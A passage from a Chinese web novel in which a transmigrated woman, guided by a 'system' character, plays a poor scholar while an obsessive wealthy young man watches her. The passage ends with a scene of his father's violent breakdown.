“上次吩咐你去寻的人,有消息了吗?”言奉灵忽然开口。 闰禾闻言随即想到了那张样貌清冷出众的女子画像,答说:“回公子,还没。” “不若咱们再派多些人手去隔壁几州找找?”他仰着头,小心向面前人提议。 言奉灵:“不必了。” 望见闰禾脸上流露出的诧异目光,青年淡淡转开眼,并未多做解释。 那晚事发时闰禾并未随行在言奉灵身侧,今日余从姝来时前者还未回府,自然不懂自家公子为何忽然又放弃了寻找。 闰禾知趣地也没有追问,说话时手上动作不停,三两下收起玉色银莲纹衣,刚要搁置在一旁的衣桁上却被人出声制止了。 言奉灵蹙眉:“做什么还挂在那里,处理了。” 对方听得一愣,不由地回他:“可这件衣裳刚拿回来时,公子不是很喜欢?” 青年不知想到了什么沉默须臾,转过身问他:“你真觉得本公子今日的这番打扮好看?” 闰禾脸上的茫然更重了些,心中奇怪自家公子今夜为何如此反常。 毕竟对方做事向来看重结果,从未有过无疾而终的时候。除此之外,他在穿衣打扮上也一直有自己的主意,从不需要他们下人插手置喙。 在闰禾看来,整个江州再没有比自家公子穿衣更出众、更有品味的儿郎了。 闰禾随即点头,连带着将方才的心里话说了出来,然而对方听后眉头反倒皱得愈紧了。 “那为何......” 俊美青年低喃出声,后面的字句含混得像团解不开的乱麻。 言奉灵蹙眉,难道并不是这身衣饰的问题,会不会是熏香? 抑或是当时的位置、角度、光线......再或者是他没穿那夜遇险时的衣裳? 思来想去寻不得一个确切答案,言奉灵心中郁气又多了几分,再次对还在犹豫的闰禾冷声下令:“它被人碰脏了,毁掉!” *** 能被泽万物的春雨一连下了三日才放晴,一时间天空碧蓝如洗、草木青葱可爱。 经过两天的尝试,余从姝对于天桥摆摊代写的工作已然驾轻就熟——晨起早早去抢个好位置,再花个几文钱向附近茶馆租赁一套桌凳,将纸笔往桌面上一摆,路过有需要的人见了自然会上来问价,得闲时她便抄书,然后抄完再卖给书苑。 对此,系统表示十分的不理解,觉得余从姝这是在自讨苦吃,有这工夫挣钱还不如把心思都放在完成任务上。 似是猜出了它心中所想,余从姝问它:“不做这些,你能给我一百金吗?” 6688一口否定。 余从姝语声淡淡:“废物。” 系统:“......” “当初给邻居留的照顾书生祖母的钱,快要花完了。” 在6688的再三追问下,余从姝才向它解释必要这么做的原因。 书生祖母日常起居无法自理,吃饭都要人喂,于是出发前余从姝特意给了邻居大姨一笔钱,请对方帮忙照看一阵子。 6688心里还有些怄,哼了声:“我当是什么呢,在乎这个干嘛。那只是个比你戏份还要少的npc,你不理她,她也不会死的,死了也没什么大不了......” 余从姝对此听而不闻。 比起生意不仅稀落还接连遭遇附近地头蛇盘剥的前两日,今天余从姝的生意明显好了不少。 直到天边余晖散尽,余从姝才将桌椅送还给茶楼,收拾自己的物品准备离开。 临行前,她借着转身的动作,朝斜对岸那家最大饭莊的三楼望了眼。此时莊内正高朋满座,葳蕤灯光映亮了大半街面,三楼最左侧的那扇窗虽说燃着烛却静悄悄的。 余从姝很快收回目光,步履有条不紊地下了桥,面上的 神情十分淡然,似是对一直黏附在自己身上的那双视线毫无所觉。 与此同时,饭莊三楼最左厢房。 两片看似紧闭着的窗扇,中间却开着条窄缝。 深蓝夜色如水,盈满了视线主人的左眼,将那只琉璃琥珀似的瞳孔浸得犹如一口深不见底的墨井,井口有物什在兴奋涌动,黑魆魆似溺水游魂。 直到年轻女子身影彻底消失,窗后站着的言奉灵才怔忪回神,他抬手扯了扯颈下严密的衣领深深吐了口息,这才压下与前者不期然对视上时陡然升高的心跳与体温。 那瞬间,言奉灵甚至怀疑对方发现了自己。 见自家主子重又坐了回去,闰禾这才走上前将手中之物递上,语气恭敬:“公子,这是余姑娘今天卖给书苑的抄书,还有三日来替人代写的书信,一共三十八封,全在这儿了。” 将杯中凉茶饮尽,言奉灵这才抬手接过,垂眸一页页地翻看起手中余从姝的笔墨来。 常言道:字如其人。 然而出乎言奉灵意料的是,同主人羸弱清冷的外形气质截然相反,余从姝的笔迹遒劲而有力,笔锋尖锐到力透纸背的程度,像开了刃的剑戈。 许久,言奉灵才将注意力转移到书本内容上。 这次倒与他设想的一样,余从姝售给书苑的抄本,尽是科考会用到的四书五经。即便市面上与淫.词艳曲、话本小戏有关的手抄本卖价更高...... 她却从未碰过。 究竟是不知还是不愿?念起郑府里与她有过交集的下人对其品行的评价,言奉灵猜大抵是后者。 想到这儿,他眉目不自觉舒展,又拿起那三十八封代笔书信,大致浏览了遍。 信中内容五成是母父长辈关心子女的家书,三成是生意上的借据、保状,另两成则是好友之间的寒暄、问候,极少有为年轻姑娘捉笔写给心仪儿郎的情诗。 唯有的一封,还是被派去的人在他的授意下,再三要求余从姝写下的。 说是昭明心意的情爱诗,可余从姝的用词庄重且婉约,乍一看更像是写景诗,只有细细去读才能从诗中意象里品得几分滋味。 言奉灵紧盯着手中的这封情诗,狭长双眼逐渐眯起。 写景、以抒情么...... 这厢,闰禾正低头等着自家公子随时的吩咐,下一瞬便听到了刺耳的撕纸声。 他讶然望去,只见座上青年蹙着双眉,指尖稍动便将好好的一页纸给撕成两半掷到了地上。 自家公子这几日是怎的了? 没等闰禾想出个原由,便听对方忽然开口,语气里带着未消尽的冷意:“昨日那两个地头蛇可找着了?” 闰禾被吓了一跳,反应过来后立刻答说:“回公子,人是找着了,可不知这俩人昨晚是何原因殴斗在一起,今早被发现时一方已经被打死,另一方则被官府押了去,大概也性命不保了。” 言奉灵神情微顿,第一反应便是有人先他一步出了手,随即追问:“怎么回事?” 闰禾:“好像是分赃不均,加上俩人平时便有龃龉,一方又喝醉了酒,这才出了人命。” 当真这么巧?言奉灵眉凝得愈发紧了,直觉这其中必有蹊跷。 然后眼下还有更要紧的事,沉思片刻后,他抬了抬手:“去查查,余从姝家里可还有她记挂的人。” 看完那沓书信,言奉灵怀疑余从姝在替人捉笔的家书里反复提及要长辈注意身体一事,并不是随手一写。 他向来信任自己的直觉判断。 闰禾随即称‘是’,他面色神情如常,内里却愈发好奇自家公子最近为何格外上心这个名叫‘余从姝’的女子。 即便对方确是他要寻找的画像上的人无疑。 可、 闰禾转头瞧了眼窗外,此时天色已然不早,然而自家主子瞧着却丝毫没有想要离开的意思,这都两天了...... 搁以往,公子绝不会为了一个无关紧要的人推迟手上所有事务,浪费一整日的时间只远远在楼上看着什么都不做。 闰禾虽好奇,却不敢多嘴询问言奉灵任何。 转身关门前,他下意识回望了屋内人一眼,面上随即流露出惊诧之色。 只见屋内方才还冷霜满面的自家公子,此刻却垂着头,挺直的鼻尖凑近了手中纸页,似是在仔细嗅闻着什么。 对方双眼半阖,上扬眼尾酝着抹秾红,在灯光下异常的灼眼...... 5.五个好妻主 翌日,午后申时。 金阳西斜,橙澈阳光透过精致的雕花檀窗在被打理得洁净如新的墨黑石砖地面上投下斑驳光影。 此刻,比起人流如织、热闹喧嚣的门外,含璋拣香行里要安静阴凉上许多,出入这里的人无一不穿着华贵、举止得当,就连四面角落消金兽中燃着的熏香,气味也典雅悠长,雾形袅娜。 “你近日怎的如此得闲,三天两头约我出来,言姨母的病怎么样了,我差人送去的那些药可还管用?” 郑寻景落座后,禁不住好奇问言奉灵。 此时,后者正跪坐在蒲团上手持玉杵一圈圈地细细磨着茶,动作优雅且矜贵。水草般的墨发垂顺地伏在他挺直的脊背上,发尾则安静地与衣摆交融在一起,周身气质从容且出众。 不多时,言奉灵将打好的茶分别倒进两盏瓷杯中,端起其中一杯递到郑寻景面前。 杯中青绿色的绵密茶沫将他玉般的双手衬得洁白而修长,瞧上去分外赏心悦目。 青年的嗓音清润又温柔,娓娓道来:“昨日行里新进了批香,打从西域来的,听说其中几瓶花露还有药用的功效,觉得你会感兴趣便喊了你。” 果然,郑寻景听闻这话急忙放下了手中的茶盏,就连对方后面的问题并未回答也忘了,杏眼中满是好奇与期待:“在哪里,快给我瞧瞧!” 一旁的闰禾随即上前,将手中的木盒呈给了他。 郑寻景打开一瞧,发现里面果真躺着三瓶花露,正拿出一瓶倒手上分辨气味时,便听对面青年忽然又开了口,语气随意:“上次花宴,寻景弟弟回去得有些晚,可有耽搁什么要紧事?” “别提了,错过了一堂医理课,害得我后面学得都有些吃力,都怪那个姓余的木头......” 郑寻景拧眉,抱怨的话脱口而出。 闻言,言奉灵掀睫瞧了他一眼,眸底泛起丝丝凉意。 他自认还算了解郑寻景的脾性,却不知对方竟被郑府纵溺到如此地步,仅仅一个无足轻重的损失,便能随意将人赶下车,冒雨走上小半个时辰。 不过一想郑府主君都能做出克扣余从姝这个客人的月例,逼得对方不得不设法挣钱这种事,便也不奇怪了,毕竟有其父必有其子。 言奉灵抬手啜茶,掩下了唇边的几分冷嘲。 “不过,说到底此事也不能全怪她,事后张姨说是她家中出了急事擅自挪用了马车才耽搁了时间,可当时余从姝并未将此事告知于我,所以我......总之,都是她自找的!” 说完,郑寻景垂头嗅香,就连他自己都没发现话音中流露出的淡淡愧疚与心虚。 言奉灵却如闻洪钟一般,倏地抬眸看向他,视线分外锐利。少顷,又在对方抬眼望过来的前瞬恢复如常,语气温和依旧:“怎么样,可闻出些什么?” ...... 金阳渐斜,透过檀窗掠下的剪影也随之被一点点拉长。 临别前,直到青年站起身相送,郑寻景才注意到他今日的衣饰与往常有些许不同。 雾蓝色的襕衣上,袖口、前胸及其衣摆,皆用金线绣着大团盛放的牡丹,方才在室内不打眼,此刻越接近门前,那团金绣成的牡丹便如同活过来似的惹眼。 金镶玉的蹀躞箍着主人劲竹似的腰身,为后者原本清矜的气质更添了几分雍贵,令人眼前一亮的同时再难移开目光。 郑寻景随即停下了脚步,话语中透着几分惊奇:“你今日这身打扮倒与往日有所不同,是要见什么贵客吗?” 他知言奉灵向来重视自身衣饰妆容,每每见面都打扮得雅致得体,除却一些重大场合,这还是他第一次见对方穿如此夺目耀眼的衣裳。 熟料面前人只是清浅一笑,解释说:“心血来潮而已,寻景弟弟若是喜欢,改日也给你裁一件送到府上。” 郑寻景惯爱穿各式蓝衣,听罢有些心动却还是摇了摇头:“不了,才收了你几瓶花露,若再收下这衣裳就过分了。” 言奉灵却吟吟笑道:“你我亲如兄弟,这点小事并不打紧。” 说罢扭头吩咐了闰禾几句。 见此情景,郑寻景也不再同他客气,转而抱臂,一扬眉玩笑似地出声:“无功不受禄,说吧,可是瞧中我的什么了?” 二人相识多年,彼此经常得了新鲜玩意儿便互通有无。 就在郑寻景心中兀自思忖着自己最近得了什么新物件竟被言奉灵不知不觉瞧上了时,对方蓦地抬头,目光越过他直直地落到身后。 随即,郑寻景便听到门边传来拣香娘的问话声。 “这位小姐,可是有什么吩咐?” 柜台后,正打理香料的拣香娘余光见有人驻足在门外却不进来,不禁抬头打量了几眼,发现对方虽衣着简朴却气质不凡,想了想主动走上前询问。 哪知她这番话音刚落,身后便传来一句:“不必,我们这便走了。” 郑寻景说着,身影便行至到了近前,言奉灵则紧随其后。 这厢,郑寻景刚瞧见余从姝脚步便蓦地一顿,只见后者浑身漉湿,发间还夹杂着碧绿色的浮萍。只这一会儿的工夫脚下的地面便洇开了一小片水迹,显然是来之前落过水。 郑寻景语气震惊:“你做了什么,怎的搞得这般......” 一侧的言奉灵眸里也同样掠过一丝讶异,随即对身旁的拣香娘低低吩咐道:“去,给余小姐找身干净衣裳来。” 说这话时,言奉灵并未自余从姝身上移开视线,对方嘴唇泛白,不知是冷还是别的什么缘故,垂在身侧的两只手紧蜷着,眼睫下耷,面对郑寻景的诘问语气局促中带着羞惭:“方才过桥时、” “别说了,我不想知道。” 郑寻景忽然出声,不耐地打断了她的话。 香行前,来来往往的行人很多,不时有好奇的视线朝几人这边投来。其中有人似是认出了她们的身份,低声同身边人说着什么。 断断续续的话声传进郑寻景的耳中,带着显而易见的调笑:“哎、那不是郑府......他对面那女......未婚妻主......” 郑寻景的脸像在被针扎一般,火辣辣的越来越热,他倏地别过头去再不愿多瞧眼前人一眼,没好气道:“笨手笨脚,本少爷不管你发生了什么,总之莫要牵扯上我们郑府!” 少年的这声警告着实算不上客气,言奉灵冷目瞥了他一眼,半瞬后才又将视线重新投向余从姝。 不知是否是他的错觉,此话一落,女人的唇色较之方才更白了几分,墨色瞳孔虽盯着地面目光却是散的,浑身上下全然被一层名为落寞神伤的灰纱所笼罩。 声音也低了些:“抱歉寻景,在下往后会注意的......” 见此情景,言奉灵禁 不住蹙了下眉,心中忽地涌起一股郁气,令他不得不暂时从余从姝面上移开视线。 这时,他方注意到眼前女人衣物头发虽是透湿,可手上提着的书袋与包点心的油纸却是意外的干燥。 言奉灵认出了点心是出自城东久负盛名的酥芳斋,就在河的另一边距离颇远,至少要走上小半个时辰,不可能是余从姝落水后才买来的。 那书袋他更是眼熟,里面装得是她抄书代笔时要用到的纸笔......显而易见的,余从姝落水,必不是郑寻景所以为的笨手笨脚,而是另有原因。 想到这儿,言奉灵望向面前女人的目光多了几分怜悯——她珍重对待的人,是个蠢货。 不多时,听吩咐去找干净衣裳的拣香娘返回,手中还拿着块擦脸巾帕。 拣香娘语气关切:“余小姐,快随小的进屋换上吧,迟些着凉了便不好了。” 熟料竟被对方给拒绝了。 余从姝:“多谢,只是不必了。” 拣香娘有些始料未及,下意识看向身旁的自家公子。 言奉灵神情只怔了瞬,随后自然地从她手中拿过那张布帕,递到余从姝的面前,语气轻柔:“余小姐既不方便,那用巾子先擦擦罢。” 这次余从姝倒未再拒绝,握着布巾另一端将其接了过来,垂着眼帘同他道谢。 见此情景,青年唇瓣带笑,即便余从姝自来后便从未瞧过他一眼,心中仍是不急,反而愈发期待起来。 熟料余从姝自他手中接过布巾后,并未率先清理自己,而是用它仔细擦了擦点心包装的表面。 言奉灵眸中讶然未消,便又见对面女人忽地抬起眼,方才那双伤神黯淡的墨瞳里重又泛起温度,望向郑寻景的眸光里小心翼翼中夹杂着期待。 言奉灵被这目光烫得呼吸一滞。 “听说你爱吃这家的云霜片,很抱歉上次没如约去接你,这是我的赔礼。” 望着眼前余从姝双手捧过来的点心,郑寻景诧异过后,一瞬间尴尬与烦躁扑面袭来。 他如何都想不通对方为何要拒绝下人递来的衣裳,难道现在的当务之急不是这个吗? 然而余从姝不仅拒绝了,还顶着一身狼狈,自以为是地在外人面前同他赔礼道歉。 她不会觉得这样表现反而显得自己十分真诚吧! 清丽少年的脸再次涨得绯红,这次是给气的。 难道余从姝一直没瞧出来自己已然打算将此事揭过了吗,否则今天他也不会应下张姨载她去红棠书阁,与自己同行的请求了。 这些年对方究竟读得都是些什么书? 当真是榆木脑袋,看不懂人脸色...... 眼瞧着街上好事行人投向自己这边的视线越来越多,郑寻景彻底失了耐心,一甩手冷声道:“本少爷不爱吃,好烦!” 说罢,他草草与言奉灵打了声招呼,便领着若檀头也不回地朝马车处走去。 言奉灵正一瞬不瞬地凝着对面的年轻女人,故而清晰地瞧见对方在郑寻景那句话落下后,霎时被抿得失色的唇。 以及余从姝方才还平举着的双手是如何变得僵硬,一点点垂下去的。 望着对方面上一闪而过的失落与苦涩,言奉灵唇畔笑意消弭殆尽。终是在对方递还了帕子,转身要追随郑寻景离去时,出了声。 “余小姐且慢!” 6.六个好妻主 “余小姐且慢!” 此话一出,言奉灵果见对方身形一顿,随后疑惑地朝自己望了过来。 同余从姝视线相抵的刹那,他心脏巍巍一颤,而后又缓缓沉了下去。方才女人眸中升起的那星点温度已消失殆尽,此刻眼底盛着空茫,似被厚厚冰冻起的湖面,旷然死寂,全然照不出这世间任何倒影,包括他自己。 言奉灵紧了紧手指,面上却笑得愈发温柔,如春风拂柳:“言某方才送予寻景弟弟的花露,他落在这儿了,还请余小姐帮忙转交给他。” 说着,言奉灵自闰禾手中接过一直捧着的木盒,朝余从姝的方向递了过去。 余从姝闻言沉默点了下头,刚想去接却见对方又收回了手。 她眉心微动,抬眸再次望向言奉灵。 “奉灵这里有个不情之请,还望余小姐成全。”俊美青年说着,朝余从姝屈膝浅浅行了一礼,瞬时间背后垂顺的发丝有几缕纷纷滑落至他身前,乌黑颜色衬得主人皮肤皙白、菱唇嫣然。 浅淡却隽永的芬芳也如涟漪般自言奉灵的发梢荡开,缭绕上余从姝的鼻尖。 后者默了下,微微点头:“公子请讲。” “方才灵赠予寻景弟弟花露时,他还有些苦恼自己没有合适的回礼,现下灵忽然想起许久没尝过云霜片了。” 言奉灵双眼微弯,漂亮的眸子盛满了融融柔笑像撒了片碎金,轻易便恍了周围人的眼:“虽有些不合礼数,但还是想问——不知余小姐可否将这包云霜片送予灵,你我二人交换,互相成全?” 闻言,余从姝的视线在对方脸上定格了两秒。毫无疑问的,面前人的相貌异常的出众,记忆里,她找不到与之匹敌的人,哪怕是从前见过的那些影视明星。 尤其是那双眼睛,形状优美、睛瞳似琥珀般澄澈透亮,睫毛长而浓密尾梢耷着,显得纯良且真诚。 可也是这双眼睛,其中影影绰绰,蕴了太多心思。 与她有关的心思。 余从姝听他方才那番话说得委婉,意图却着实明显——对方这是在暗示她可以拿这盒花露来讨郑寻景欢心,将功折罪。 此时郑府马车就停放在不远处街口,只要想,车内人定然能听到她二人的对话。 无缘无故,言奉灵为何要冒着惹好友不快的风险帮自己这个外人? 想了想,余从姝出声问:“多少钱?” 瞧见对方神情明显愣了下,余从姝语气平静地再次重复:“公子手上的花露,价值几何?我补给你。” 话音落下,言奉灵心中道了句果然。 由于出入含璋香行的无一不是达官显贵家的主君、公子,是以言奉灵在接手它后下的其中一个命令便是要管事在给拣香娘们统一裁衣时,用料最次也得是绸。 果然余从姝方才之所以不肯接受那件衣裳,是觉得自己买不起。 觉得买不起,便干脆不碰,而不是同大多数人一样想着先借了再还。 由此可见,她性情执着且很怕亏欠。倒是符合前几日的观察以及探马们递给他的消息。 言奉灵顿了顿,便没同她进行无意义的客套,笑着道了个数,末了儿添了句:“不过是些小玩意儿,余小姐太客气了。” 余从姝随即从钱袋中掏出对应数量的铜板,连同点心一起递给了对面的闰禾。 言奉灵也重将手上的小巧木盒递向她,被金色夕阳映照着的双瞳此刻剔透如同琥珀,妆点精致的眼尾微微翘着,尾端酝着抹勾人的微红。 他声音轻柔,语气与动作皆矜贵而优雅:“请,余小姐。” 余从姝双手接过木盒,右手食指却蓦地触到一点温热,她当即抽手却并未成功,再次望向言奉灵时,面上终于浮现出了几分真切的疑惑。 言奉灵紧盯着她,绣口金线经夕光这么一照,仿佛有火在烧,又一路绵延至主人眼底。 暗中星火早已燎原,却无人在意。 青年胸中郁焦加倍,话音却依旧款款:“抱歉,言忽然想起还有些话想问。” 言奉灵适时松开手中的木盒,脚下却不由自主地朝余从姝迈了一步,低低道:“二月十七日夜,余小姐可曾去过沁竹巷?” 他终是不敢相信,直到现在,面前人仍未认出自己,他今日明明穿了与那天同样款式的衣裳,只是颜色略有不同罢了。 昏昏月光下,雀蓝与秾紫,又有何区别? 然而言奉灵却见对方摇了摇头,迫不及待后退与自己拉开距离的同时,话音也变得愈发冷淡疏离。 “不曾,公子请留步。” *** 或许是‘将功折罪’起了作用,这次的郑小少爷没再像上次那样半路将余从姝赶下车,可也没怎么给她好脸色,仍是坐在距她最远的斜对面,手中捧着本医理书看。 而原主书生人设注定是个不会主动挑起话头的,更别提方才二人还发生过不快,余从姝双手搭在膝前沉默坐着,淡色的唇瓣抿得平直。 一时间,车内气氛安静冷沉,耳边唯有车外挂着的风铎传来的清脆丁响。 与此同时,余从姝脑中也再次响起6688系统聒噪的询问声:“宿主,你还没说呢,刚刚是怎么想的下河救人,好快,我都没反应过来。” “没有ooc。”余从姝垂下眼睫,终于回了它这么一句。 前段时间得了空,余从姝将这个小世界有关穷书生的剧情全部仔细研读了一遍,说是研读也就是只花了半个小时不到的工夫。 因为文中对木讷书生这个人的描述实在是少得可怜,全然一工具人。 不过余从姝还是从与书生有关的只言片语中大致推测出了一些未被系统提及的人设细节比如责任心强、正直、隐忍等。 以至于看到书中对其最后选择与结局的描述,心情并未有任何起伏。 ——【翌日,余书生向郑家主提出退婚,问及原因只道与郑小少爷有缘无份。随后她便以最快的速度收拾包袱离开了郑府,将对那人满腔却从未言明的情愫化作祝福,从此在江城销声匿迹。】 6688应了声,“我知道,我的意思是、我的意思、你、我就是好奇而已......” 根据自己这几个月的观察,系统觉得余从姝此人怎么看怎么都不像是碰见小孩落水会见义勇为的人,顶多视若无睹。 6688话音含糊,余从姝却听懂了它的意思。 答案其实很简单——条件反射。 抛去原文书生人设,这一原因甚至占多数。 想到这儿,余从姝皱了皱眉,仿佛有些接受不了自己的这种不受控制的行为,又像是陷入了某个深远的回忆。 事实上,近些年来,姥姥因为频繁住院已经许久没能同她怎么相处过了,尽管她不再需要姥姥的奖励,可她还是会下意识地做些力所能及世俗意义上的好事,让对方知道了能够开心、放心些。 没想到这个习惯被带进了这里...... “好奇什么,你不都知道?” 半晌,余从姝不答反问系统。 听到她这冷幽幽的话声,6688一下心虚起来,同时也的确想起了自己先前在她重要记忆中曾看到过的一幕。 树 荫下,头发花白面容和蔼的老太太虽带着笑眼眶却是湿红的,她一遍遍地抚摸着面前被汗打湿了面颊神情稚气又懵懂的小女孩,语气谆谆苦心。 “姝妞做得真棒,就得这样,做个对社会有用的好人。” “以后姝妞每学雷锋做一次好事,姥姥就奖励你一个想要的东西好不好?” 小女孩于是开口,声音是与年龄不符的平淡沉稳:“我想要《尸体变化图鉴》还有《中外凶案合集》。” 系统之所以对这幕印象深刻,是因为——谁家七八岁小孩朝大人要的奖励不是凶案就是尸体变化书啊! 这几个月相处下来,它越瞧越觉得余从姝不像正常人,原来这么小就有苗头了! 就在6688嗯嗯啊啊地在想怎么应付余从姝时,对方却忽然转了话题。 余从姝:“那个言奉灵,什么人设,重要吗?” 闻言,系统如蒙大赦,立刻答道:“宿主问言奉灵?” “他、他算是本书比较重要的男配之一,因为自幼与男主相识又长他几岁,是男主的知心好友。” 涉及到剧情人物,系统的话一下便多了起来:“在与女主的感情有矛盾时,男主都会找他聊天从中获得安慰和启发,算是间接多次推动了感情线发展。” “人设是优雅知性温良富家公子,暂无官方cp,不过不排除作者以他为主角写姊妹篇的可能,且很大几率!” 说完这些,系统才忽然想起什么似地,语气顿时变得有些紧张:“话说,他刚才那句话是什么意思,是看到你做的那些事了?” 6688当即哎呀了声,像被踩到了脚:“我早就劝过你不要在剧情之外生事,你偏不听,这下好啦......” 面对系统喋喋不休的抱怨,余从姝神情平静、置若罔闻。 接受任务后的日子比她想象中的要更加无聊,尤其是来到郑府之后。 用实验证实过几次自己的任务进度真的既不能拖延又不能加快后,余从姝白日里扮演沉默木讷的书生,到了夜晚便开始出府找自己的乐趣。 此时的她,离姥姥虽远,但距自由很近。 这些天来,余从姝做事一向顺利,除却言奉灵提到的二月十七日夜出过的那次小小意外。 选中的猎物因为外人的忽然闯入而撕开了她设下的陷阱一角。 余从姝不想游戏被毁,不得已现身拉了那人一把教对方避开了劈下的刀刃,猎物也因此险些逃脱,好在最后没有白费工夫。 原来对方竟是言奉灵吗? 还是说那只猎物是他的人? 想到6688对言奉灵人设的介绍,余从姝垂眸望了眼自己指尖,又联想起被她给出去的那二百文钱。 正是明面上这几日自己抄书与摆摊替人写信赚来的所得,一共三百二十四文。 先前在酥芳斋买的那包云霜片花费一百二十文,现下身上只剩四文钱。 是巧合吗? 余从姝在心中低低重复了遍系统刚才的话:“优雅知性温、良富家公子......” 眼前浮现的却是那日饭莊三楼最左侧紧闭的窗扇,安安静静,散发的亮金灯火却像只匍匐在黑暗里泛着幽幽光芒伺机而动的虎目狼瞳。 见她并没有将自己的警告听进心里,6688还想再说,却忽听余从姝开了口。 对方的语气亦如往常那般冷淡平静,可它却从中恍惚听出了压抑的兴奋。 像平静海面下渐起的漩涡,不知何时便能酝酿出摧天崩地的海啸。 余从姝:“系统,我想杀了他。” 7.七个好妻主 水烟沆砀,热雾氤氲。 白玉砌筑的浴池里,水声哗啦作响,紫红色的玫瑰花瓣如雨般纷扬落下,在水面积起厚厚一层腻脂。 馥郁的玫瑰香充斥整间湢室,随便吸上一口便能深深香进人骨髓里。 与此同时,几十种样式的香料药粉被依次倒入白色瓷罐中与蜂蜜、花油、细盐充分搅拌在一起,而后被小仆巨细靡遗、小心翼翼地涂抹至言奉灵全身。 片刻后,随着温热细流的不断冲刷,红褐色的粗砺膏体褪去,逐渐露出其下白皙透净到就连美玉都黯然失色的肌肤。 待擦至半干,皮肤表面还略有些潮湿之际,另一小仆又动作麻利地将精心研制的雪肤霜倒入掌心搓热,边均匀细致地推开边手法专业地为他按摩...... 等言奉灵身着绯色寝衣,自净室中缓缓走出时,已然是大半个时辰后。 就寝前,这样繁琐的步骤,每晚都要进行。 这厢,言奉灵将将坐上檀凳,身后的仆僮正准备上前为他涂抹发油时,闰禾掀帘走了进来。 “公子......” 见对方欲言又止,言奉灵抬了抬手,四周候着的小仆们于是便纷纷退了出去。 待屋内只剩他们二人,闰禾这才低声道:“公子,前院白爹爹方才传话来,说主君又、又......还请公子速去瞧瞧。” 听闻是与那人有关,言奉灵当即眉头一蹙,今日本就不算多好的心情更往里添了把火。 然而还不等他一口回绝,前院男子凄厉的哭喊便似惊雷劈裂九霄,落下时化作了绵绵银针尽数扎进他的耳膜。 言奉灵倏地站起身,沉下脸来:“走。” 刚跨进前院还未靠近正厅,言奉灵便听到从中传出的一声高过一声的哭怨,伺候的仆从已然被管事给撤了出去,如今偌大个院儿里空空荡荡,哭声在其中缭绕回转,更显得冷寂阴森。 “春娘、春娘!” “汀这般爱你,你不能这么对我!” “春娘!” 言奉灵将绕过屏风,脚下便咯吱一响踩到了几块碎琉璃片,再一抬头,入眼便是满地狼藉。 桌椅倒伏在地,名家字画被撕得粉碎、花瓶瓷杯残片迸溅得到处都是,茜纱帐被扯落,静静地躺在地上像一弯干涸凝固的血痕。 而这其中,一男子正不着寸缕、披发跣足,崩溃地跪伏在榻上人枕边哭泣,声音凄艾。 “春娘,要怎么做你才肯疼疼我。” “求求春娘,可怜可怜汀吧......” “春娘......” 听到身后动静,男人骤然回头,哭声呜咽在嗓子里,像野兽面对敌人时的低吼。 纵是闰禾做足了准备,仍是被这幕给吓了一跳,差点叫喊出声。 只见那张与他家公子足有七分像的脸上,满面泪痕、充斥着愤怒与怨恨,以至于神情都透着股狰狞。 对方露在外的皮肤比屋外洒落的月光还要冰白,眼下却沁着缕缕的青黑,白瞳上爬满了蛛网般的血丝,狐眼上扬着,泪水却在下坠。 可即便如此,即便他已年近四十,面容依旧诡艳逼人。 犹如一朵开到荼蘼的花,哪怕透着股腐气,却美得仍然能撼动人心。 不过一瞬的工夫,闰禾便见对方站起身赤着脚就那样踩过遍地狼藉朝他们奔了过来,当即不自觉往后退了步。 “愚奴!” 褚岸汀一下扑到青年面前,十指攥紧了他的胳膊,神情似是终于抓住了最后一根救命稻草,大睁着眼睛嗓音嘶哑:“愚奴,快,快帮爹求求你娘!” 他两手分明瘦削如骨,力道却极大,指尖如铁钳般深嵌进言奉灵的皮肉中,仿佛下一秒就能掐出汁血来。 对此,后者却毫无所觉般只冷眼看着他:“求什么?” “你娘她、她不肯与我同房,你说她外面是不是又有别的男人了,啊?” 褚岸汀的语气透着深切的委屈,说话间泪水又涟涟地落了下来,神情痛苦且迷茫:“为什么、为什么啊,难道我还不够爱她吗?” 他执拗地质问眼前人:“我把一切能给的都给了她。” “可她为什么要这么对我,为什么要如此折磨我、为什么、为什么、为、” 言奉灵一下挣开了他的手,额角青筋突突直跳:“娘如今中风在床,父亲却还执意要与她同房,你是想要她死吗!” 褚岸汀立时尖叫出声:“胡说!我的春娘才不会死!” 他一指言奉灵,锐利的指尖险些戳进后者的眼睛,语气满是憎恨:“是你对不对,一定是你,我的春娘才会变成这样的,不孝子!” 说着,褚岸汀狠狠甩了言奉灵一巴掌。 啪的一声脆响,听得闰禾与榻上躺着的人都急促地‘啊’了声。 褚岸汀双眼渗红,苍白的胸腹剧烈起伏着,咬牙切齿地地瞪着儿子,低吼出声:“外头那些贱人可以,为什么偏偏我不行!” “孽种!你也帮那群贱人欺负我是不是!我怎么就生出了你这么个白眼狼!” 说着,褚岸汀再次举起手,然而巴掌刚挥到一半便被人给截住了。 言奉灵面色冰沉地攥紧了自己父亲的手腕,白皙左颊上已然浮现出一个清晰的五指印,朝外渐着殷血。 “闰禾,去照看家主。” 说罢,言奉灵一扯父亲,将人连拖带拽地往外拉。 “孽种、快放开我!”褚岸汀拼命挣扎起来,仿佛一尾即将离水的鱼,声嘶力竭地呼喊着:“我不走、不要、不要,我要我的春娘、春娘!” “贱人,别想拆散我和春娘,该死!” 言奉灵不顾父亲的捶打将人拉到了对面厢房,关上门后单手解开自己身上的披风扔到了他身上。 墨色披风如水兜头浇熄了褚岸汀的火焰,后者嗓子里的尖叫与辱骂戛然而止。 半晌,褚岸汀才缓缓拉下罩头的披风,却并未第一时间穿上,而是眯起那双水红色还带泪的狐眼,将面前的儿子上上下下打量了一遍。 最后冷笑道:“狐魅,穿得跟外头勾引你娘的那群骚蹄子一样!” 由于来得匆忙,言奉灵去掉披风后,身上便只着了件单薄的绯色寝衣,略带着潮气的发丝尽数披散在身后。 可就是这般简单到极致的装扮,越显出他长相的精美绝伦。 黧青色的长眉微挑,白日里的粉黛被洗净后,狭长上扬的眼型再掩饰不住,与眼尾时刻酗着的那抹红以及左睑下的小痣叠加在一起,纵使脸上还烙着张巴掌印,依旧雍艳魅气到令人心惊的地步。 闻言,言奉灵神情不为所动,嘴角甚至挑起了抹笑:“父亲怕是忘了,娘说儿子同你长得有六七分相像,她不爱你,自然不会关注儿子穿了什么。” “放肆!” 褚岸汀大怒,扬手还要再打。 “父亲且省省吧,在这儿,您即便将儿子打死,娘也看不见,更不可能心软答应您什么。” 言奉灵:“最重要的是,打疼了,儿子会还手的。” 褚岸汀僵滞在半空的手臂在听到这句后倏地落下,巴掌声比之前还要响亮。 “没用的东西,还想反了天不成!” 